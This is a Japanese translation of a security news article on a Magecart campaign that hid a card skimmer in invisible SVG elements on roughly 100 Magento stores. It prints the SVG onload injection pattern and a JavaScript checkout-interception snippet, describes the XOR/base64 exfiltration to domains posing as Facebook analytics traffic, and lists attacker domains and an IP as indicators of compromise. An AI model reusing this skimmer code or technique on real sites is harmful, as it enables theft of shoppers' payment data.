Sansecのセキュリティ研究者は、Magentoのeコマースプラットフォームを狙った大規模なMagecartキャンペーンを発見しました。
約100のオンラインストアが、高度なクレジットカードスキマーに感染しました。セキュリティスキャナーを回避し、買い物客の支払いデータをシームレスに盗むために、攻撃者は悪意のあるペイロードを目に見えないSVG画像要素の内部に隠蔽しました。
脅威インテリジェンスによると、攻撃者はPolyShell脆弱性を使用してサイトに侵入した可能性があります。これは、パッチが適用されていないMagento環境を引き続き悩ませている悪用です。
SVGインジェクション技術
セキュリティツールによって頻繁にフラグが立つ外部スクリプトを読み込む代わりに、脅威行為者はストアのHTMLに直接1×1ピクセルのSVG画像を埋め込みます。
スキマーペイロード全体はbase64でエンコードされ、SVGの onload イベントハンドラーを通じてインラインで実行されます。
以下は正確なインジェクション方法です:
xml<svg
width="1px"
height="1px"
onload="(()=>{setTimeout(atob('KGZ1bmN0aW9uKCl7IGlm...'),1)})()"
></svg>
マルウェアを完全にインラインで保ち、単一の文字列属性内でエンコードすることで、攻撃者は悪意のある外部スクリプト参照を探す従来の監視を正常に回避します。
注入されたスキマーは、買い物客がチェックアウトボタンをクリックするのを辛抱強く待ちます。useCapture イベントリスナーを使用してユーザーのアクションをインターセプトし、ストアの正当なハンドラーの前に独自の実行を優先します。
その後、買い物客には、リアルなカード検証と請求フィールドを備えた、非常に説得力のあるフルスクリーンの「Secure Checkout」オーバーレイが表示されます。マルウェアは以下のJavaScriptペイロードを使用してナビゲーションをインターセプトします:
javascriptdocument.addEventListener(
"click",
function (e) {
var el = e.target.closest('a,button,[role="button"]');
if (!el) return;
var href = el.getAttribute("href") || "";
if (
(href && checkoutUrl.includes(href)) ||
el.getAttribute("data-role") === "proceed-to-checkout" ||
el.id === "top-cart-btn-checkout"
) {
e.preventDefault();
e.stopImmediatePropagation();
show(); // 偽のチェックアウトオーバーレイを表示
}
},
true,
);
被害者が支払い詳細を送信した後、マルウェアはキー "script" を使用したXOR暗号を使用して盗まれたデータを暗号化し、その後base64エンコーディングを行います。
収集された情報は、正当なFacebookアナリティクストラフィック(/fb_metrics.php)に見えるように巧妙に偽装された、6つの攻撃者制御ドメインのいずれかに送信されます。最大限のステルスを確保するために、スキマーは宛先URLを二重にエンコードします。
Sansecによると、データが正常に流出すると、マルウェアはブラウザストレージフラグ(localStorage.setItem('_mgx_cv', '1'))を設定して、同じ買い物客を2回ターゲットにしないようにします。
最後に、被害者は実チェックアウトページにサイレントでリダイレクトされ、支払いデータが侵害されたことに完全に気づかれません。
侵害の指標
流出ドメイン
6つのドメインはすべて 23.137.249.67 に解決され、オランダのIncogNet LLC(AS40663)でホストされています。
| ドメイン | 確認された被害者 |
|---|---|
statistics-for-you.com |
15 |
statistics-renew.com |
14 |
morningflexpleasure.com |
14 |
reusable-flex.com |
12 |
goingfatter.com |
11 |
wellfacing.com |
10 |
技術的指標
| 指標 | 値 |
|---|---|
| インジェクション方法 | <svg width="1px" height="1px" onload="..."> |
| ペイロードエンコーディング | atob()経由のbase64、setTimeout経由で実行 |
| データエンコーディング | キー "script" を使用したXOR、その後base64 |
| 流出エンドポイント | /fb_metrics.php |
| 流出方法 | fetch() POST no-cors、フォールバック隠されたiframe |
| ローカルストレージキー | _mgx_cv |
| キャンペーンマーカー | ペイロード配列内の {site:'rand0m'} |
| 流出サーバー | 23.137.249.67 (IncogNet LLC、AS40663、NL) |
翻訳元: https://gbhackers.com/attackers-deploy-hidden-magecart-skimmer-on-magento/